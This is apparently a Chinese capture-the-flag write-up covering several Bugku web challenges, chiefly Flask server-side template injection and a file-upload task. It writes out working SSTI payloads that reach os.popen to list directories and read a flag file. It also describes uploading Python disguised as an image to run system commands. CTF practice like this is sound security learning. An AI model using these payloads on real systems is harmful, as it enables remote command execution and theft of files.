Simple_SSTI_1
1.启动场景,http://114.67.175.224:12592
2.页面提示传入参数flag,F12查看源码得到第二个提示
3.SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag,也可以构造?flag={{config.items()}},导出所有config变量,其中就包括SECRET_KEY
提交flag
Simple_SSTI_2
1.开启环境,http://114.67.175.224:13974
2.进入f12,发现并没有什么提示信息,通过{{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取系统文件
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取读取app目录下的文件,发现存在flag文件
?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
3.读取flag内容,读取flag内容,最终得到flag
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
提交flag
Flask_FileUpload
1.开启环境
2.查看源代码
这里的提醒大致意思是,如果给一个文件,将使用python执行这个文件,那基本思路有了,就是使用python代码探查一下目录,找找有没有一些可能保存flag的文件
3.新建txt,输入: import os os.system('ls /') 保存为a.png,然后上传,查看新页面的源代码,发现根目录下有个flag
import os
print(os.system('ls ./'))
4.在修改txt内容为: import os os.system('cat /flag') 保存后,再上传,在新页面中查看源码,得到flag
留言板
1.开启环境
2.留言板一般都都是xss使用御剑扫描目录,发现 目录/admin.php
查看admin.php
据说可以扫到db.sql,本人愚笨,多种工具齐下都没有,只能借鉴大佬的答案,可以去看bugku-web-留言板_bugku 留言板-CSDN博客
登录
3.使用xssaq
4.得到flag,解码
滑稽
1.开启环境
2.F12,查看源代码,获得flag